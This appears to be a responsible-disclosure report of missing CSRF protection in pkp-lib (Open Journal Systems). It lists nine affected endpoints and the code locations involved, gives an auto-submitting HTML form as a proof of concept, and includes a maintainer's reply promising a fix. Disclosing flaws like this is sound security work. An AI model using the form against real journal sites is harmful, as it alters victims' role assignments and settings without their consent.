Cross-Site Request Forgery (CSRF) in pkp/pkp-lib
Reported on
Oct 5th 2021
Description
Missing CSRF token in role stage assignment, save language settings, and task notification
1: http://10.0.2.15/index.php/e/$$$call$$$/grid/settings/roles/user-group-grid/unassign-stage?stageId=1&userGroupId=5
2: http://10.0.2.15/index.php/e/$$$call$$$/grid/settings/roles/user-group-grid/assign-stage?stageId=1&userGroupId=5
3: http://10.0.2.15/index.php/e/$$$call$$$/grid/settings/languages/manage-language-grid/save-language-setting?rowId=en_US&setting=supportedLocales&value=
4: http://10.0.2.15/index.php/index/admin/clearDataCache
5: http://10.0.2.15/index.php/index/admin/clearTemplateCache
6: http://10.0.2.15/index.php/index/admin/clearScheduledTaskLogFiles
7: http://10.0.2.15/index.php/e/$$$call$$$/grid/notifications/task-notifications-grid/mark-read?grid-notifications-tasknotificationsgridPage=1&grid-notifications-tasknotificationsgridItemsPerPage=25
8: http://10.0.2.15/index.php/e/$$$call$$$/grid/notifications/task-notifications-grid/mark-new?grid-notifications-tasknotificationsgridPage=1&grid-notifications-tasknotificationsgridItemsPerPage=25
9: http://10.0.2.15/index.php/e/$$$call$$$/grid/notifications/task-notifications-grid/delete?grid-notifications-tasknotificationsgridPage=1&grid-notifications-tasknotificationsgridItemsPerPage=25
Proof of Concept
Example: Unassign stage
Open the index.html:
<html>
<body>
<form action="http://[OJS-IP+PORT]/ojs/index.php/[JOURNAL_NAME]/$$$call$$$/grid/settings/roles/user-group-grid/unassign-stage?stageId=1&userGroupId=5" method="POST">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
This vulnerability is capable of changing user role stage assignments and changing language settings for forms
Occurrences
LanguageGridHandler.inc.php L84-L170
missing csrf validation for language settings
NotificationsGridHandler.js L143-L150
mark read notification
AdminHandler.inc.php L455-L463
missing csrf validation for clear scheduled task
NotificationsGridHandler.inc.php L203-L233
missing validation of csrf in mark read
index.tpl L35-L37
Missing csrf tokens for the 3 admin control actions
userGroupForm.tpl L11-L65
missing csrf token in assign / unassign stage form
AdminHandler.inc.php L427-L438
missing csrf validation for clear data cache
NotificationsGridHandler.inc.php L185-L200
missing validation of csrf in mark new
NotificationsGridHandler.inc.php L243-L257
missing validation of csrf in delete
NotificationsGridHandler.js L163-L169
delete notification
NotificationsGridHandler.js L124-L130
mark new notification
SECURITY.md
a year ago
Hi @admin, maintainers have updated SECURITY.md at https://github.com/pkp/ojs/blob/main/SECURITY.md
I have filed this at https://github.com/pkp/pkp-lib/issues/7371 and will work on a fix. I'm not familiar with this website's model and left the bounty amount selection at its default.